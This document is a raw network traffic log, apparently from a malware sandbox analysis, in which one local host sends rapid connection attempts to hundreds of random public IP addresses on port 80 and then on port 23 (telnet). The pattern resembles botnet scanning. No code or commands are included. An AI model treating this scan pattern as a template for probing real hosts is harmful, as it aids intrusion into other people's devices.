Oct 14, 2024 17:30:10.899352074 CEST	53274	80	192.168.2.14	166.228.38.26
Oct 14, 2024 17:30:10.899353027 CEST	53274	80	192.168.2.14	112.18.132.225
Oct 14, 2024 17:30:10.899357080 CEST	53274	80	192.168.2.14	211.119.88.78
Oct 14, 2024 17:30:10.899364948 CEST	53274	80	192.168.2.14	133.51.253.251
Oct 14, 2024 17:30:10.899373055 CEST	53274	80	192.168.2.14	157.3.111.236
Oct 14, 2024 17:30:10.899395943 CEST	53274	80	192.168.2.14	120.118.217.153
Oct 14, 2024 17:30:10.899401903 CEST	53274	80	192.168.2.14	4.220.234.197
Oct 14, 2024 17:30:10.899403095 CEST	53274	80	192.168.2.14	175.216.79.76
Oct 14, 2024 17:30:10.899424076 CEST	53274	80	192.168.2.14	161.168.190.109
Oct 14, 2024 17:30:10.899424076 CEST	53274	80	192.168.2.14	193.108.39.10
Oct 14, 2024 17:30:10.899424076 CEST	53274	80	192.168.2.14	153.252.63.86
Oct 14, 2024 17:30:10.899434090 CEST	53274	80	192.168.2.14	131.48.128.100
Oct 14, 2024 17:30:10.899440050 CEST	53274	80	192.168.2.14	170.194.148.212
Oct 14, 2024 17:30:10.899441004 CEST	53274	80	192.168.2.14	18.83.164.113
Oct 14, 2024 17:30:10.899445057 CEST	53274	80	192.168.2.14	70.253.58.236
Oct 14, 2024 17:30:10.899456978 CEST	53274	80	192.168.2.14	101.100.1.198
Oct 14, 2024 17:30:10.899472952 CEST	53274	80	192.168.2.14	19.143.99.249
Oct 14, 2024 17:30:10.899473906 CEST	53274	80	192.168.2.14	69.77.75.76
Oct 14, 2024 17:30:10.899472952 CEST	53274	80	192.168.2.14	165.2.172.193
Oct 14, 2024 17:30:10.899472952 CEST	53274	80	192.168.2.14	119.141.203.214
Oct 14, 2024 17:30:10.899476051 CEST	53274	80	192.168.2.14	38.194.194.47
Oct 14, 2024 17:30:10.899486065 CEST	53274	80	192.168.2.14	124.86.254.68
Oct 14, 2024 17:30:10.899488926 CEST	53274	80	192.168.2.14	190.95.107.153
Oct 14, 2024 17:30:10.899490118 CEST	53274	80	192.168.2.14	218.31.144.71
Oct 14, 2024 17:30:10.899490118 CEST	53274	80	192.168.2.14	12.27.136.233
Oct 14, 2024 17:30:10.899494886 CEST	53274	80	192.168.2.14	160.17.231.99
Oct 14, 2024 17:30:10.899502993 CEST	53274	80	192.168.2.14	61.44.80.8
Oct 14, 2024 17:30:10.899523020 CEST	53274	80	192.168.2.14	99.167.94.243
Oct 14, 2024 17:30:10.899523973 CEST	53274	80	192.168.2.14	53.150.61.147
Oct 14, 2024 17:30:10.899525881 CEST	53274	80	192.168.2.14	209.116.170.35
Oct 14, 2024 17:30:10.899534941 CEST	53274	80	192.168.2.14	195.86.84.143
Oct 14, 2024 17:30:10.899552107 CEST	53274	80	192.168.2.14	171.248.112.138
Oct 14, 2024 17:30:10.899552107 CEST	53274	80	192.168.2.14	210.80.146.151
Oct 14, 2024 17:30:10.899552107 CEST	53274	80	192.168.2.14	194.149.93.68
Oct 14, 2024 17:30:10.899552107 CEST	53274	80	192.168.2.14	133.181.183.223
Oct 14, 2024 17:30:10.899559021 CEST	53274	80	192.168.2.14	174.194.137.109
Oct 14, 2024 17:30:10.899569035 CEST	53274	80	192.168.2.14	32.71.24.77
Oct 14, 2024 17:30:10.899573088 CEST	53274	80	192.168.2.14	220.187.193.36
Oct 14, 2024 17:30:10.899586916 CEST	53274	80	192.168.2.14	40.145.221.216
Oct 14, 2024 17:30:10.899586916 CEST	53274	80	192.168.2.14	107.183.152.36
Oct 14, 2024 17:30:10.899604082 CEST	53274	80	192.168.2.14	205.19.115.65
Oct 14, 2024 17:30:10.899607897 CEST	53274	80	192.168.2.14	117.58.128.15
Oct 14, 2024 17:30:10.899607897 CEST	53274	80	192.168.2.14	107.28.242.95
Oct 14, 2024 17:30:10.899615049 CEST	53274	80	192.168.2.14	140.134.162.169
Oct 14, 2024 17:30:10.899621010 CEST	53274	80	192.168.2.14	181.110.213.169
Oct 14, 2024 17:30:10.899626017 CEST	53274	80	192.168.2.14	42.94.131.166
Oct 14, 2024 17:30:10.899637938 CEST	53274	80	192.168.2.14	217.54.52.193
Oct 14, 2024 17:30:10.899637938 CEST	53274	80	192.168.2.14	78.150.164.140
Oct 14, 2024 17:30:10.899658918 CEST	53274	80	192.168.2.14	45.55.194.163
Oct 14, 2024 17:30:10.899666071 CEST	53274	80	192.168.2.14	76.162.228.122
Oct 14, 2024 17:30:10.899677992 CEST	53274	80	192.168.2.14	162.48.169.202
Oct 14, 2024 17:30:10.899679899 CEST	53274	80	192.168.2.14	75.193.14.120
Oct 14, 2024 17:30:10.899684906 CEST	53274	80	192.168.2.14	210.192.81.155
Oct 14, 2024 17:30:10.899702072 CEST	53274	80	192.168.2.14	79.44.140.209
Oct 14, 2024 17:30:10.899702072 CEST	53274	80	192.168.2.14	220.178.5.129
Oct 14, 2024 17:30:10.899708986 CEST	53274	80	192.168.2.14	115.214.16.132
Oct 14, 2024 17:30:10.899724007 CEST	53274	80	192.168.2.14	148.205.238.206
Oct 14, 2024 17:30:10.899729013 CEST	53274	80	192.168.2.14	137.44.250.196
Oct 14, 2024 17:30:10.899729013 CEST	53274	80	192.168.2.14	54.133.237.195
Oct 14, 2024 17:30:10.899749994 CEST	53274	80	192.168.2.14	200.164.238.145
Oct 14, 2024 17:30:10.899749994 CEST	53274	80	192.168.2.14	180.218.46.219
Oct 14, 2024 17:30:10.899755955 CEST	53274	80	192.168.2.14	135.242.28.233
Oct 14, 2024 17:30:10.899770975 CEST	53274	80	192.168.2.14	60.234.142.31
Oct 14, 2024 17:30:10.899772882 CEST	53274	80	192.168.2.14	177.122.122.216
Oct 14, 2024 17:30:10.899792910 CEST	53274	80	192.168.2.14	23.125.188.224
Oct 14, 2024 17:30:10.899792910 CEST	53274	80	192.168.2.14	196.69.0.135
Oct 14, 2024 17:30:10.899792910 CEST	53274	80	192.168.2.14	220.82.227.89
Oct 14, 2024 17:30:10.899810076 CEST	53274	80	192.168.2.14	119.113.8.112
Oct 14, 2024 17:30:10.899813890 CEST	53274	80	192.168.2.14	200.87.52.207
Oct 14, 2024 17:30:10.899830103 CEST	53274	80	192.168.2.14	173.180.232.16
Oct 14, 2024 17:30:10.899832010 CEST	53274	80	192.168.2.14	73.188.235.84
Oct 14, 2024 17:30:10.899832010 CEST	53274	80	192.168.2.14	156.59.59.5
Oct 14, 2024 17:30:10.899847984 CEST	53274	80	192.168.2.14	58.83.56.148
Oct 14, 2024 17:30:10.899863005 CEST	53274	80	192.168.2.14	34.236.18.78
Oct 14, 2024 17:30:10.899866104 CEST	53274	80	192.168.2.14	23.169.108.64
Oct 14, 2024 17:30:10.899874926 CEST	53274	80	192.168.2.14	160.234.82.75
Oct 14, 2024 17:30:10.899878025 CEST	53274	80	192.168.2.14	219.31.71.164
Oct 14, 2024 17:30:10.899898052 CEST	53274	80	192.168.2.14	73.158.172.136
Oct 14, 2024 17:30:10.899899960 CEST	53274	80	192.168.2.14	146.173.136.5
Oct 14, 2024 17:30:10.899904966 CEST	53274	80	192.168.2.14	123.146.110.6
Oct 14, 2024 17:30:10.899907112 CEST	53274	80	192.168.2.14	156.229.149.177
Oct 14, 2024 17:30:10.899909973 CEST	53274	80	192.168.2.14	176.77.241.201
Oct 14, 2024 17:30:10.899919987 CEST	53274	80	192.168.2.14	189.85.15.175
Oct 14, 2024 17:30:10.899940968 CEST	53274	80	192.168.2.14	122.48.26.246
Oct 14, 2024 17:30:10.899943113 CEST	53274	80	192.168.2.14	78.14.230.87
Oct 14, 2024 17:30:10.899943113 CEST	53274	80	192.168.2.14	79.178.43.86
Oct 14, 2024 17:30:10.899965048 CEST	53274	80	192.168.2.14	8.148.249.221
Oct 14, 2024 17:30:10.899967909 CEST	53274	80	192.168.2.14	117.135.39.143
Oct 14, 2024 17:30:10.899970055 CEST	53274	80	192.168.2.14	50.116.223.213
Oct 14, 2024 17:30:10.899970055 CEST	53274	80	192.168.2.14	188.38.144.128
Oct 14, 2024 17:30:10.899976969 CEST	53274	80	192.168.2.14	46.246.9.74
Oct 14, 2024 17:30:10.899979115 CEST	53274	80	192.168.2.14	128.48.95.240
Oct 14, 2024 17:30:10.899985075 CEST	53274	80	192.168.2.14	154.94.4.157
Oct 14, 2024 17:30:10.899985075 CEST	53274	80	192.168.2.14	36.76.194.3
Oct 14, 2024 17:30:10.900001049 CEST	53274	80	192.168.2.14	124.22.68.123
Oct 14, 2024 17:30:10.900017023 CEST	53274	80	192.168.2.14	66.231.91.132
Oct 14, 2024 17:30:10.900022030 CEST	53274	80	192.168.2.14	220.144.109.45
Oct 14, 2024 17:30:10.900022030 CEST	53274	80	192.168.2.14	73.181.243.222
Oct 14, 2024 17:30:10.900022030 CEST	53274	80	192.168.2.14	128.230.169.191
Oct 14, 2024 17:30:10.900022030 CEST	53274	80	192.168.2.14	132.252.165.252
Oct 14, 2024 17:30:10.900038958 CEST	53274	80	192.168.2.14	120.232.124.226
Oct 14, 2024 17:30:10.900043011 CEST	53274	80	192.168.2.14	216.184.68.46
Oct 14, 2024 17:30:10.900044918 CEST	53274	80	192.168.2.14	107.211.255.55
Oct 14, 2024 17:30:10.935447931 CEST	12058	23	192.168.2.14	161.32.56.99
Oct 14, 2024 17:30:10.935453892 CEST	12058	23	192.168.2.14	137.94.190.87
Oct 14, 2024 17:30:10.935470104 CEST	12058	23	192.168.2.14	192.232.185.215
Oct 14, 2024 17:30:10.935482979 CEST	12058	23	192.168.2.14	98.15.149.181
Oct 14, 2024 17:30:10.935486078 CEST	12058	23	192.168.2.14	49.89.53.157
Oct 14, 2024 17:30:10.935482979 CEST	12058	23	192.168.2.14	104.46.39.135
Oct 14, 2024 17:30:10.935486078 CEST	12058	23	192.168.2.14	181.168.18.154
Oct 14, 2024 17:30:10.935503006 CEST	12058	23	192.168.2.14	57.98.2.104
Oct 14, 2024 17:30:10.935506105 CEST	12058	23	192.168.2.14	167.209.250.40
Oct 14, 2024 17:30:10.935506105 CEST	12058	23	192.168.2.14	158.1.109.188
Oct 14, 2024 17:30:10.935506105 CEST	12058	23	192.168.2.14	14.211.148.215
Oct 14, 2024 17:30:10.935506105 CEST	12058	23	192.168.2.14	51.214.145.180
Oct 14, 2024 17:30:10.935506105 CEST	12058	23	192.168.2.14	47.14.224.75
Oct 14, 2024 17:30:10.935506105 CEST	12058	23	192.168.2.14	177.161.20.51
Oct 14, 2024 17:30:10.935508013 CEST	12058	23	192.168.2.14	32.170.12.101
Oct 14, 2024 17:30:10.935508013 CEST	12058	23	192.168.2.14	35.105.200.206
Oct 14, 2024 17:30:10.935504913 CEST	12058	23	192.168.2.14	194.181.9.239
Oct 14, 2024 17:30:10.935506105 CEST	12058	23	192.168.2.14	136.109.31.16
Oct 14, 2024 17:30:10.935506105 CEST	12058	23	192.168.2.14	145.4.50.76
Oct 14, 2024 17:30:10.935506105 CEST	12058	23	192.168.2.14	90.175.124.43
Oct 14, 2024 17:30:10.935518980 CEST	12058	23	192.168.2.14	158.222.252.32
Oct 14, 2024 17:30:10.935518980 CEST	12058	23	192.168.2.14	147.138.27.218
Oct 14, 2024 17:30:10.935506105 CEST	12058	23	192.168.2.14	86.79.151.106
Oct 14, 2024 17:30:10.935539007 CEST	12058	23	192.168.2.14	175.12.62.247
Oct 14, 2024 17:30:10.935539007 CEST	12058	23	192.168.2.14	221.139.51.162
Oct 14, 2024 17:30:10.935542107 CEST	12058	23	192.168.2.14	162.133.2.245
Oct 14, 2024 17:30:10.935549021 CEST	12058	23	192.168.2.14	196.162.42.203
Oct 14, 2024 17:30:10.935549021 CEST	12058	23	192.168.2.14	53.15.45.96
Oct 14, 2024 17:30:10.935549021 CEST	12058	23	192.168.2.14	115.225.137.81
Oct 14, 2024 17:30:10.935549974 CEST	12058	23	192.168.2.14	154.16.226.116
Oct 14, 2024 17:30:10.935549974 CEST	12058	23	192.168.2.14	166.235.45.163
Oct 14, 2024 17:30:10.935549974 CEST	12058	23	192.168.2.14	31.40.50.44
Oct 14, 2024 17:30:10.935549974 CEST	12058	23	192.168.2.14	185.210.53.128
Oct 14, 2024 17:30:10.935555935 CEST	12058	23	192.168.2.14	96.41.12.250
Oct 14, 2024 17:30:10.935550928 CEST	12058	23	192.168.2.14	61.89.35.60
Oct 14, 2024 17:30:10.935560942 CEST	12058	23	192.168.2.14	189.245.211.234
Oct 14, 2024 17:30:10.935560942 CEST	12058	23	192.168.2.14	137.129.33.151
Oct 14, 2024 17:30:10.935561895 CEST	12058	23	192.168.2.14	205.49.32.121
Oct 14, 2024 17:30:10.935564041 CEST	12058	23	192.168.2.14	180.85.96.71
Oct 14, 2024 17:30:10.935564995 CEST	12058	23	192.168.2.14	73.173.85.232
Oct 14, 2024 17:30:10.935564041 CEST	12058	23	192.168.2.14	192.252.68.239
Oct 14, 2024 17:30:10.935555935 CEST	12058	23	192.168.2.14	154.34.78.114
Oct 14, 2024 17:30:10.935555935 CEST	12058	23	192.168.2.14	53.129.210.135
Oct 14, 2024 17:30:10.935555935 CEST	12058	23	192.168.2.14	43.240.15.91
Oct 14, 2024 17:30:10.935555935 CEST	12058	23	192.168.2.14	129.113.74.94
Oct 14, 2024 17:30:10.935555935 CEST	12058	23	192.168.2.14	129.112.18.37
Oct 14, 2024 17:30:10.935575962 CEST	12058	23	192.168.2.14	1.19.111.188
Oct 14, 2024 17:30:10.935575962 CEST	12058	23	192.168.2.14	199.210.251.21
Oct 14, 2024 17:30:10.935575962 CEST	12058	23	192.168.2.14	14.250.250.169
Oct 14, 2024 17:30:10.935575962 CEST	12058	23	192.168.2.14	136.47.99.155
Oct 14, 2024 17:30:10.935580015 CEST	12058	23	192.168.2.14	103.118.156.159
Oct 14, 2024 17:30:10.935580015 CEST	12058	23	192.168.2.14	216.119.245.248
Oct 14, 2024 17:30:10.935583115 CEST	12058	23	192.168.2.14	37.164.29.129
Oct 14, 2024 17:30:10.935580015 CEST	12058	23	192.168.2.14	140.128.170.141
Oct 14, 2024 17:30:10.935589075 CEST	12058	23	192.168.2.14	151.100.152.218
Oct 14, 2024 17:30:10.935589075 CEST	12058	23	192.168.2.14	138.154.45.86
Oct 14, 2024 17:30:10.935589075 CEST	12058	23	192.168.2.14	92.215.194.212
Oct 14, 2024 17:30:10.935591936 CEST	12058	23	192.168.2.14	188.75.25.73
Oct 14, 2024 17:30:10.935591936 CEST	12058	23	192.168.2.14	42.126.186.74
Oct 14, 2024 17:30:10.935591936 CEST	12058	23	192.168.2.14	34.89.178.48
Oct 14, 2024 17:30:10.935594082 CEST	12058	23	192.168.2.14	162.134.240.105
Oct 14, 2024 17:30:10.935594082 CEST	12058	23	192.168.2.14	51.1.71.113
Oct 14, 2024 17:30:10.935601950 CEST	12058	23	192.168.2.14	98.69.112.203
Oct 14, 2024 17:30:10.935601950 CEST	12058	23	192.168.2.14	201.243.250.123
Oct 14, 2024 17:30:10.935602903 CEST	12058	23	192.168.2.14	104.134.173.184
Oct 14, 2024 17:30:10.935612917 CEST	12058	23	192.168.2.14	139.249.112.82
Oct 14, 2024 17:30:10.935612917 CEST	12058	23	192.168.2.14	169.6.207.168
Oct 14, 2024 17:30:10.935612917 CEST	12058	23	192.168.2.14	75.151.76.37
Oct 14, 2024 17:30:10.935617924 CEST	12058	23	192.168.2.14	59.90.155.196
Oct 14, 2024 17:30:10.935626030 CEST	12058	23	192.168.2.14	63.86.198.160
Oct 14, 2024 17:30:10.935617924 CEST	12058	23	192.168.2.14	193.221.176.0
Oct 14, 2024 17:30:10.935617924 CEST	12058	23	192.168.2.14	101.201.157.198
Oct 14, 2024 17:30:10.935617924 CEST	12058	23	192.168.2.14	209.83.170.170
Oct 14, 2024 17:30:10.935617924 CEST	12058	23	192.168.2.14	73.6.59.193
Oct 14, 2024 17:30:10.935631990 CEST	12058	23	192.168.2.14	91.169.156.244
Oct 14, 2024 17:30:10.935617924 CEST	12058	23	192.168.2.14	213.186.4.125
Oct 14, 2024 17:30:10.935619116 CEST	12058	23	192.168.2.14	111.22.199.160
Oct 14, 2024 17:30:10.935619116 CEST	12058	23	192.168.2.14	41.101.154.114
Oct 14, 2024 17:30:10.935637951 CEST	12058	23	192.168.2.14	113.244.105.149
Oct 14, 2024 17:30:10.935640097 CEST	12058	23	192.168.2.14	110.6.62.38
Oct 14, 2024 17:30:10.935659885 CEST	12058	23	192.168.2.14	150.29.82.188
Oct 14, 2024 17:30:10.935661077 CEST	12058	23	192.168.2.14	142.198.30.37
Oct 14, 2024 17:30:10.935662031 CEST	12058	23	192.168.2.14	166.235.26.143
Oct 14, 2024 17:30:10.935661077 CEST	12058	23	192.168.2.14	44.154.82.227
Oct 14, 2024 17:30:10.935681105 CEST	12058	23	192.168.2.14	57.121.19.91
Oct 14, 2024 17:30:10.935681105 CEST	12058	23	192.168.2.14	100.168.118.151
Oct 14, 2024 17:30:10.935681105 CEST	12058	23	192.168.2.14	124.159.145.51
Oct 14, 2024 17:30:10.935713053 CEST	12058	23	192.168.2.14	207.162.244.94
Oct 14, 2024 17:30:10.935713053 CEST	12058	23	192.168.2.14	96.52.101.155
Oct 14, 2024 17:30:10.935722113 CEST	12058	23	192.168.2.14	64.247.70.62
Oct 14, 2024 17:30:10.935723066 CEST	12058	23	192.168.2.14	70.45.218.161
Oct 14, 2024 17:30:10.935723066 CEST	12058	23	192.168.2.14	114.193.147.32
Oct 14, 2024 17:30:10.935724020 CEST	12058	23	192.168.2.14	223.120.226.176
Oct 14, 2024 17:30:10.935722113 CEST	12058	23	192.168.2.14	25.202.107.114
Oct 14, 2024 17:30:10.935724020 CEST	12058	23	192.168.2.14	64.34.183.75
Oct 14, 2024 17:30:10.935724020 CEST	12058	23	192.168.2.14	126.129.251.60
Oct 14, 2024 17:30:10.935730934 CEST	12058	23	192.168.2.14	12.1.69.64
Oct 14, 2024 17:30:10.935744047 CEST	12058	23	192.168.2.14	78.254.33.73
Oct 14, 2024 17:30:10.935749054 CEST	12058	23	192.168.2.14	118.66.215.143
Oct 14, 2024 17:30:10.935755014 CEST	12058	23	192.168.2.14	50.103.137.157
Oct 14, 2024 17:30:10.935755968 CEST	12058	23	192.168.2.14	122.247.218.220
Oct 14, 2024 17:30:10.935758114 CEST	12058	23	192.168.2.14	31.221.101.144
Oct 14, 2024 17:30:10.935759068 CEST	12058	23	192.168.2.14	165.154.7.231
Oct 14, 2024 17:30:10.935759068 CEST	12058	23	192.168.2.14	70.233.224.2
Oct 14, 2024 17:30:10.935770035 CEST	12058	23	192.168.2.14	17.176.39.2
Oct 14, 2024 17:30:10.935772896 CEST	12058	23	192.168.2.14	59.22.78.190
Oct 14, 2024 17:30:10.935784101 CEST	12058	23	192.168.2.14	70.253.98.93
Oct 14, 2024 17:30:10.935786963 CEST	12058	23	192.168.2.14	222.7.140.130
Oct 14, 2024 17:30:10.935798883 CEST	12058	23	192.168.2.14	178.229.197.153
Oct 14, 2024 17:30:10.935805082 CEST	12058	23	192.168.2.14	103.5.80.107
Oct 14, 2024 17:30:10.935805082 CEST	12058	23	192.168.2.14	121.9.253.201
Oct 14, 2024 17:30:10.935821056 CEST	12058	23	192.168.2.14	132.231.180.86
Oct 14, 2024 17:30:10.935823917 CEST	12058	23	192.168.2.14	18.224.42.222
Oct 14, 2024 17:30:10.935831070 CEST	12058	23	192.168.2.14	76.77.92.183
Oct 14, 2024 17:30:10.935846090 CEST	12058	23	192.168.2.14	110.138.19.45
Oct 14, 2024 17:30:10.935858965 CEST	12058	23	192.168.2.14	25.131.42.133
Oct 14, 2024 17:30:10.935859919 CEST	12058	23	192.168.2.14	85.189.109.22
Oct 14, 2024 17:30:10.935873985 CEST	12058	23	192.168.2.14	177.165.177.244
Oct 14, 2024 17:30:10.935877085 CEST	12058	23	192.168.2.14	195.109.156.200
Oct 14, 2024 17:30:10.935890913 CEST	12058	23	192.168.2.14	121.244.37.177
Oct 14, 2024 17:30:10.935909033 CEST	12058	23	192.168.2.14	189.170.186.96
Oct 14, 2024 17:30:10.935909033 CEST	12058	23	192.168.2.14	77.135.208.216
Oct 14, 2024 17:30:10.935909033 CEST	12058	23	192.168.2.14	1.145.192.26
Oct 14, 2024 17:30:10.935930014 CEST	12058	23	192.168.2.14	96.62.53.92
Oct 14, 2024 17:30:10.935930014 CEST	12058	23	192.168.2.14	76.50.53.147
Oct 14, 2024 17:30:10.935930014 CEST	12058	23	192.168.2.14	85.99.57.59
Oct 14, 2024 17:30:10.935930014 CEST	12058	23	192.168.2.14	167.47.244.134
Oct 14, 2024 17:30:10.935930014 CEST	12058	23	192.168.2.14	153.208.9.137
Oct 14, 2024 17:30:10.935935974 CEST	12058	23	192.168.2.14	50.114.147.15
Oct 14, 2024 17:30:10.935940981 CEST	12058	23	192.168.2.14	208.160.33.162
Oct 14, 2024 17:30:10.935960054 CEST	12058	23	192.168.2.14	43.125.154.175
Oct 14, 2024 17:30:10.935961008 CEST	12058	23	192.168.2.14	158.103.216.244
Oct 14, 2024 17:30:10.935961008 CEST	12058	23	192.168.2.14	96.85.149.79
Oct 14, 2024 17:30:10.935980082 CEST	12058	23	192.168.2.14	66.105.229.235
Oct 14, 2024 17:30:10.935981035 CEST	12058	23	192.168.2.14	31.39.122.71
Oct 14, 2024 17:30:10.935992956 CEST	12058	23	192.168.2.14	4.9.158.233
Oct 14, 2024 17:30:10.935992956 CEST	12058	23	192.168.2.14	37.16.123.140
Oct 14, 2024 17:30:10.935993910 CEST	12058	23	192.168.2.14	62.51.74.243
Oct 14, 2024 17:30:10.936011076 CEST	12058	23	192.168.2.14	186.139.194.146
Oct 14, 2024 17:30:10.936011076 CEST	12058	23	192.168.2.14	172.1.22.179
Oct 14, 2024 17:30:10.936011076 CEST	12058	23	192.168.2.14	108.227.241.75
Oct 14, 2024 17:30:10.936023951 CEST	12058	23	192.168.2.14	36.48.138.105
Oct 14, 2024 17:30:10.936037064 CEST	12058	23	192.168.2.14	213.219.102.217
Oct 14, 2024 17:30:10.936045885 CEST	12058	23	192.168.2.14	62.78.135.248
Oct 14, 2024 17:30:10.936053991 CEST	12058	23	192.168.2.14	194.241.193.52
Oct 14, 2024 17:30:10.936058998 CEST	12058	23	192.168.2.14	196.136.49.185
Oct 14, 2024 17:30:10.936058998 CEST	12058	23	192.168.2.14	176.48.204.101
Oct 14, 2024 17:30:10.936079025 CEST	12058	23	192.168.2.14	58.27.42.5
Oct 14, 2024 17:30:10.936079025 CEST	12058	23	192.168.2.14	138.203.224.38
Oct 14, 2024 17:30:10.936094046 CEST	12058	23	192.168.2.14	74.98.62.234
Oct 14, 2024 17:30:10.936105013 CEST	12058	23	192.168.2.14	192.148.40.200
Oct 14, 2024 17:30:10.936108112 CEST	12058	23	192.168.2.14	129.251.137.211
Oct 14, 2024 17:30:10.936108112 CEST	12058	23	192.168.2.14	117.200.226.111
Oct 14, 2024 17:30:10.936117887 CEST	12058	23	192.168.2.14	97.214.20.43
Oct 14, 2024 17:30:10.936117887 CEST	12058	23	192.168.2.14	216.127.21.154
Oct 14, 2024 17:30:10.936131001 CEST	12058	23	192.168.2.14	129.110.168.136
Oct 14, 2024 17:30:10.936141014 CEST	12058	23	192.168.2.14	68.189.106.148
Oct 14, 2024 17:30:10.936146021 CEST	12058	23	192.168.2.14	202.180.215.172
Oct 14, 2024 17:30:10.936156988 CEST	12058	23	192.168.2.14	83.50.147.69
Oct 14, 2024 17:30:10.936161041 CEST	12058	23	192.168.2.14	51.68.125.38
Oct 14, 2024 17:30:10.936186075 CEST	12058	23	192.168.2.14	45.199.22.38
Oct 14, 2024 17:30:10.936197996 CEST	12058	23	192.168.2.14	187.1.38.110
Oct 14, 2024 17:30:10.936202049 CEST	12058	23	192.168.2.14	105.159.255.123
Oct 14, 2024 17:30:10.936208010 CEST	12058	23	192.168.2.14	175.19.6.123
Oct 14, 2024 17:30:10.936218977 CEST	12058	23	192.168.2.14	134.52.216.173
Oct 14, 2024 17:30:10.936223030 CEST	12058	23	192.168.2.14	140.4.121.188
Oct 14, 2024 17:30:10.936229944 CEST	12058	23	192.168.2.14	119.54.40.179
Oct 14, 2024 17:30:10.936230898 CEST	12058	23	192.168.2.14	202.221.69.40
Oct 14, 2024 17:30:10.936233044 CEST	12058	23	192.168.2.14	77.209.45.21
Oct 14, 2024 17:30:10.936244965 CEST	12058	23	192.168.2.14	119.247.150.201
Oct 14, 2024 17:30:10.936244965 CEST	12058	23	192.168.2.14	128.195.140.97
Oct 14, 2024 17:30:10.936266899 CEST	12058	23	192.168.2.14	19.68.73.250
Oct 14, 2024 17:30:10.936266899 CEST	12058	23	192.168.2.14	123.155.236.179
Oct 14, 2024 17:30:10.936275959 CEST	12058	23	192.168.2.14	139.0.157.190
Oct 14, 2024 17:30:10.936286926 CEST	12058	23	192.168.2.14	101.92.144.17
Oct 14, 2024 17:30:10.936290979 CEST	12058	23	192.168.2.14	108.146.187.197
Oct 14, 2024 17:30:10.936306000 CEST	12058	23	192.168.2.14	67.159.244.178
Oct 14, 2024 17:30:10.936306953 CEST	12058	23	192.168.2.14	133.78.221.16
Oct 14, 2024 17:30:10.936306953 CEST	12058	23	192.168.2.14	131.60.183.131
Oct 14, 2024 17:30:10.936317921 CEST	12058	23	192.168.2.14	121.84.134.202
Oct 14, 2024 17:30:10.936323881 CEST	12058	23	192.168.2.14	43.211.221.198
Oct 14, 2024 17:30:10.936336040 CEST	12058	23	192.168.2.14	84.65.123.162
Oct 14, 2024 17:30:10.936317921 CEST	12058	23	192.168.2.14	174.90.206.35
Oct 14, 2024 17:30:10.936338902 CEST	12058	23	192.168.2.14	163.130.34.211
Oct 14, 2024 17:30:10.936319113 CEST	12058	23	192.168.2.14	50.174.179.14
Oct 14, 2024 17:30:10.936319113 CEST	12058	23	192.168.2.14	70.30.204.20
Oct 14, 2024 17:30:10.936348915 CEST	12058	23	192.168.2.14	122.45.77.126
Oct 14, 2024 17:30:10.936358929 CEST	12058	23	192.168.2.14	70.184.204.181
Oct 14, 2024 17:30:10.936364889 CEST	12058	23	192.168.2.14	92.126.187.154
Oct 14, 2024 17:30:10.936383963 CEST	12058	23	192.168.2.14	117.236.241.31
Oct 14, 2024 17:30:10.936387062 CEST	12058	23	192.168.2.14	75.27.11.162
Oct 14, 2024 17:30:10.936389923 CEST	12058	23	192.168.2.14	39.237.8.134
Oct 14, 2024 17:30:10.936400890 CEST	12058	23	192.168.2.14	108.173.125.165
Oct 14, 2024 17:30:10.936405897 CEST	12058	23	192.168.2.14	201.115.122.35
Oct 14, 2024 17:30:10.936424017 CEST	12058	23	192.168.2.14	174.0.25.65
Oct 14, 2024 17:30:10.936424017 CEST	12058	23	192.168.2.14	207.241.221.231
Oct 14, 2024 17:30:10.936424017 CEST	12058	23	192.168.2.14	96.124.139.255
Oct 14, 2024 17:30:10.936440945 CEST	12058	23	192.168.2.14	17.108.135.169
Oct 14, 2024 17:30:10.936446905 CEST	12058	23	192.168.2.14	197.56.47.127
Oct 14, 2024 17:30:10.936453104 CEST	12058	23	192.168.2.14	129.117.222.93
Oct 14, 2024 17:30:10.936476946 CEST	12058	23	192.168.2.14	47.120.50.163
Oct 14, 2024 17:30:10.936486006 CEST	12058	23	192.168.2.14	63.140.4.202
Oct 14, 2024 17:30:10.936497927 CEST	12058	23	192.168.2.14	139.167.193.73
Oct 14, 2024 17:30:10.936499119 CEST	12058	23	192.168.2.14	189.213.173.153
Oct 14, 2024 17:30:10.936499119 CEST	12058	23	192.168.2.14	85.114.21.148
Oct 14, 2024 17:30:10.936508894 CEST	12058	23	192.168.2.14	138.144.80.247
Oct 14, 2024 17:30:10.936508894 CEST	12058	23	192.168.2.14	164.86.78.22
Oct 14, 2024 17:30:10.936517954 CEST	12058	23	192.168.2.14	85.133.46.144
Oct 14, 2024 17:30:10.936527014 CEST	12058	23	192.168.2.14	24.35.171.244
Oct 14, 2024 17:30:10.936539888 CEST	12058	23	192.168.2.14	178.233.34.240
Oct 14, 2024 17:30:10.936546087 CEST	12058	23	192.168.2.14	132.95.122.21
Oct 14, 2024 17:30:10.936546087 CEST	12058	23	192.168.2.14	97.55.225.74
Oct 14, 2024 17:30:10.936557055 CEST	12058	23	192.168.2.14	175.195.241.238
Oct 14, 2024 17:30:10.936573029 CEST	12058	23	192.168.2.14	122.81.106.143
Oct 14, 2024 17:30:10.936574936 CEST	12058	23	192.168.2.14	47.7.239.5
Oct 14, 2024 17:30:10.936588049 CEST	12058	23	192.168.2.14	35.136.10.48
Oct 14, 2024 17:30:10.936592102 CEST	12058	23	192.168.2.14	207.211.158.104
Oct 14, 2024 17:30:10.936599970 CEST	12058	23	192.168.2.14	205.249.241.212
Oct 14, 2024 17:30:10.936605930 CEST	12058	23	192.168.2.14	188.63.191.54
Oct 14, 2024 17:30:10.936613083 CEST	12058	23	192.168.2.14	61.13.51.186
Oct 14, 2024 17:30:10.936621904 CEST	12058	23	192.168.2.14	205.171.127.90
Oct 14, 2024 17:30:10.936640978 CEST	12058	23	192.168.2.14	184.15.188.249
Oct 14, 2024 17:30:10.936641932 CEST	12058	23	192.168.2.14	31.54.166.94
Oct 14, 2024 17:30:10.936641932 CEST	12058	23	192.168.2.14	78.205.30.229
Oct 14, 2024 17:30:10.936656952 CEST	12058	23	192.168.2.14	86.111.184.184
Oct 14, 2024 17:30:10.936661005 CEST	12058	23	192.168.2.14	155.124.250.199
Oct 14, 2024 17:30:10.936666012 CEST	12058	23	192.168.2.14	115.250.139.216
Oct 14, 2024 17:30:10.936678886 CEST	12058	23	192.168.2.14	160.206.105.34
Oct 14, 2024 17:30:10.936687946 CEST	12058	23	192.168.2.14	83.8.119.115
Oct 14, 2024 17:30:10.936687946 CEST	12058	23	192.168.2.14	211.118.205.136
